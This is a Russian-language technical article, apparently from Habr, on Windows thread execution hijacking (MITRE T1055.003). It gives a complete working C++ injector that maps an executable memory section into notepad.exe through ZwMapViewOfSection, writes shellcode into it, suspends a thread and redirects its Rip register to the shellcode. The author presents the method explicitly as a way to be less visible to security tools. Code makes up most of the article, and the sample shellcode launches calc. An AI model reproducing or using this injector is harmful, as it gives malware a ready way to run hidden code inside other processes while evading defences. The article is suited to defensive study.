Thread execution hijacking. Исполнение шелл-кода в удаленном процессе

от автора

В статье разберем технику T1055.003

Подменим контекст потока удаленного процесса и рассмотрим способ доставки шелл-кода в процесс с помощью удаленного маппинга.

В ОС Windows существует возможность получения контекста потока и последующего управления значениями регистров. Это дает возможность изменения потока выполнения, например, с помощью модификации регистра rip. Этим и будем пользоваться.

Для того, чтобы получить контекст, используется связка функций OpenThread, SuspendThread и GetThreadContext.

GetThreadContext получает 2 аргумента HANDLE и LPCONTEXT

Структура CONTEXT имеет следующий вид:

CONTEXT
typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT {     DWORD64 P1Home;     DWORD64 P2Home;     DWORD64 P3Home;     DWORD64 P4Home;     DWORD64 P5Home;     DWORD64 P6Home;     DWORD ContextFlags;     DWORD MxCsr;     WORD   SegCs;     WORD   SegDs;     WORD   SegEs;     WORD   SegFs;     WORD   SegGs;     WORD   SegSs;     DWORD EFlags;     DWORD64 Dr0;     DWORD64 Dr1;     DWORD64 Dr2;     DWORD64 Dr3;     DWORD64 Dr6;     DWORD64 Dr7;     DWORD64 Rax;     DWORD64 Rcx;     DWORD64 Rdx;     DWORD64 Rbx;     DWORD64 Rsp;     DWORD64 Rbp;     DWORD64 Rsi;     DWORD64 Rdi;     DWORD64 R8;     DWORD64 R9;     DWORD64 R10;     DWORD64 R11;     DWORD64 R12;     DWORD64 R13;     DWORD64 R14;     DWORD64 R15;     DWORD64 Rip;     union {         XMM_SAVE_AREA32 FltSave;         struct {             M128A Header[2];             M128A Legacy[8];             M128A Xmm0;             M128A Xmm1;             M128A Xmm2;             M128A Xmm3;             M128A Xmm4;             M128A Xmm5;             M128A Xmm6;             M128A Xmm7;             M128A Xmm8;             M128A Xmm9;             M128A Xmm10;             M128A Xmm11;             M128A Xmm12;             M128A Xmm13;             M128A Xmm14;             M128A Xmm15;         } DUMMYSTRUCTNAME;     } DUMMYUNIONNAME;     M128A VectorRegister[26];     DWORD64 VectorControl;     DWORD64 DebugControl;     DWORD64 LastBranchToRip;     DWORD64 LastBranchFromRip;     DWORD64 LastExceptionToRip;     DWORD64 LastExceptionFromRip; } CONTEXT, *PCONTEXT;

Чтобы получить контекст, перед вызовом GetThreadContext необходимо установить флаги ContextFlags

Существует небольшое количество флагов, которые определены в winnt.h:

флаги
Существует небольшое количество флагов, которые определены в winnt.h:   #define CONTEXT_AMD64   0x00100000L  #define CONTEXT_CONTROL         (CONTEXT_AMD64 | 0x00000001L) #define CONTEXT_INTEGER         (CONTEXT_AMD64 | 0x00000002L) #define CONTEXT_SEGMENTS        (CONTEXT_AMD64 | 0x00000004L) #define CONTEXT_FLOATING_POINT  (CONTEXT_AMD64 | 0x00000008L) #define CONTEXT_DEBUG_REGISTERS (CONTEXT_AMD64 | 0x00000010L)  #define CONTEXT_FULL            (CONTEXT_CONTROL | CONTEXT_INTEGER | \                                  CONTEXT_FLOATING_POINT)  #define CONTEXT_ALL             (CONTEXT_CONTROL | CONTEXT_INTEGER | \                                  CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | \                                  CONTEXT_DEBUG_REGISTERS)  #define CONTEXT_XSTATE          (CONTEXT_AMD64 | 0x00000040L) #define CONTEXT_KERNEL_CET      (CONTEXT_AMD64 | 0x00000080L)  #if defined(XBOX_SYSTEMOS)  #define CONTEXT_KERNEL_DEBUGGER     0x04000000L  #endif  #define CONTEXT_EXCEPTION_ACTIVE    0x08000000L #define CONTEXT_SERVICE_ACTIVE      0x10000000L #define CONTEXT_EXCEPTION_REQUEST   0x40000000L #define CONTEXT_EXCEPTION_REPORTING 0x80000000L  // // CONTEXT_UNWOUND_TO_CALL flag is set by the unwinder if it // has unwound to a call site, and cleared whenever it unwinds // through a trap frame. //  #define CONTEXT_UNWOUND_TO_CALL     0x20000000  

И описаны там же

Описание
// The flags field within this record controls the contents of a CONTEXT // record. // // If the context record is used as an input parameter, then for each // portion of the context record controlled by a flag whose value is // set, it is assumed that that portion of the context record contains // valid context. If the context record is being used to modify a threads // context, then only that portion of the threads context is modified. // // If the context record is used as an output parameter to capture the // context of a thread, then only those portions of the thread's context // corresponding to set flags will be returned. // // CONTEXT_CONTROL specifies SegSs, Rsp, SegCs, Rip, and EFlags. // // CONTEXT_INTEGER specifies Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15. // // CONTEXT_SEGMENTS specifies SegDs, SegEs, SegFs, and SegGs. // // CONTEXT_FLOATING_POINT specifies Xmm0-Xmm15. // // CONTEXT_DEBUG_REGISTERS specifies Dr0-Dr3 and Dr6-Dr7. // 

Для наших целей хватит CONTEXT_CONTROL

В общем виде установка контекста выглядит так:

HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadID); SuspendThread(hThread); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); /* Some context manipulation */ SetThreadContext(hThread, &ctx); ResumeThread(hThread);

Запомнили, теперь перейдем к доставке шелл-кода в процесс.

Обычно для этих целей используется связка вида

OpenProcess -> VirtualAlloc -> [VirtualProtect] -> WriteProcessMemory -> CreateRemoteThread

Это скучно и невероятно шумно для средств защиты. Поэтому я решил попробовать что-то новое и реализовал внедрение в процесс с помощью удаленного маппинга.

В итоге получилась следующая цепочка:

CreateFileMapping -> OpenProcess -> ZwMapViewOfSection

Пример кода:

HANDLE hMapFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL);  HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, pid);  PVOID remoteBaseAddress = NULL; size_t viewSize = 0;  NTSTATUS status = ZwMapViewOfSection(hMapFile,hProc,&remoteBaseAddress,0,0,NULL,&viewSize,2,0,PAGE_EXECUTE_READ);

Здесь появляется не самый очевидный механизм.

Так как локальный маппинг создан с флагом PAGE_EXECUTE_READWRITE, мы можем в текущем процессе вызвать MapViewOfFile с флагом FILE_MAP_WRITE, что позволит нам писать в память из текущего процесса, а в удаленном процессе размапить ту же память с правами только на чтение и исполнение.

Это дает возможность в любой момент менять размапленную память удаленного процесса. Например, сначала создать секцию с безобидным содержимым, а после загрузить в нее шеллкод. К тому же, в сравнение с классическим выделением памяти с флагом PAGE_EXECUTE_READWRITE в удаленном процессе, этот способ менее шумный с точки зрения средств защиты, так как создание rwx памяти – целое событие.

Итак, соберем все воедино. Механизм будет следующим:

  1. Создание памяти с PAGE_EXECUTE_READWRITE

  2. Получение указателя на память с правами на запись

  3. Поиск целевого процесса для внедрения

  4. Удаленный маппинг памяти

  5. Запись шелл-кода в память

  6. Поиск потока целевого процесса

  7. Приостановка потока

  8. Изменение контекста потока

  9. Воспроизведение потока

Для поиска целевого процесса и потока будем использовать функцию CreateToolhelp32Snapshot:

HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); WCHAR target[] = L"notepad.exe";  Thread32First(threadSnapshot, &threadEntry); Process32FirstW(procSnapshot, &processEntry); DWORD lerr = GetLastError(); while (Process32NextW(procSnapshot, &processEntry)) { if (_wcsicmp(processEntry.szExeFile, target) == 0) { while (Thread32Next(threadSnapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {             /*               Usefull code               */ break; } } break; } }

Объединяем, добавляем запись шелл-кода и получаем результат:

Код
#include <windows.h> #include <iostream> #include <TlHelp32.h> typedef NTSTATUS(NTAPI* p_ZwMapViewOfSection)( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect );  int main() { unsigned char code[] = { 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7 }; size_t bufferSize = sizeof(code); HANDLE hMapFile = CreateFileMappingA( INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL );  if (hMapFile == NULL) { return 1; } LPVOID pBuffer = MapViewOfFile( hMapFile, FILE_MAP_WRITE, 0, 0, bufferSize );  if (pBuffer == NULL) { CloseHandle(hMapFile); return 1; }  DWORD old; THREADENTRY32 threadEntry; threadEntry.dwSize = sizeof(THREADENTRY32); PROCESSENTRY32W processEntry; processEntry.dwSize = sizeof(PROCESSENTRY32W); CONTEXT context; context.ContextFlags = CONTEXT_CONTROL; HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);  WCHAR target[] = L"notepad.exe"; Thread32First(threadSnapshot, &threadEntry); Process32FirstW(procSnapshot, &processEntry); DWORD lerr = GetLastError(); while (Process32NextW(procSnapshot, &processEntry)) { if (_wcsicmp(processEntry.szExeFile, target) == 0) { while (Thread32Next(threadSnapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, processEntry.th32ProcessID); HANDLE hMapFileDup = 0; HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); p_ZwMapViewOfSection ZwMapViewOfSection = (p_ZwMapViewOfSection)GetProcAddress(hNtdll, "ZwMapViewOfSection"); PVOID remoteBaseAddress = NULL; size_t viewSize = 0; NTSTATUS status = ZwMapViewOfSection( hMapFile, hProc, &remoteBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ ); CloseHandle(hProc); CopyMemory(pBuffer, code, sizeof(code)); HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID); SuspendThread(hThread); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); ctx.Rip = (DWORD64)remoteBaseAddress; SetThreadContext(hThread, &ctx); ResumeThread(hThread); break; } } break; } } lerr = GetLastError(); CloseHandle(threadSnapshot); CloseHandle(procSnapshot); UnmapViewOfFile(pBuffer); CloseHandle(hMapFile);  return 0; } 

Запуск калькулятора

Запуск калькулятора

Посмотрим на память в Process Hacker сразу после вызова ZwMapViewOfSection. Здесь видно, что в текущем процессе память RW, а в целевом — RX

Текущий процесс

Текущий процесс
Целевой процесс

Целевой процесс

В результате мы подменили контекст потока целевого процесса, внедрили память через удаленный маппинг и исполнили шелл-код.

Проект доступен на моем Github:

https://github.com/FunnyWhaleDev/RunFromSharedMemory

P.S.

Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке


ссылка на оригинал статьи https://habr.com/ru/articles/855710/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *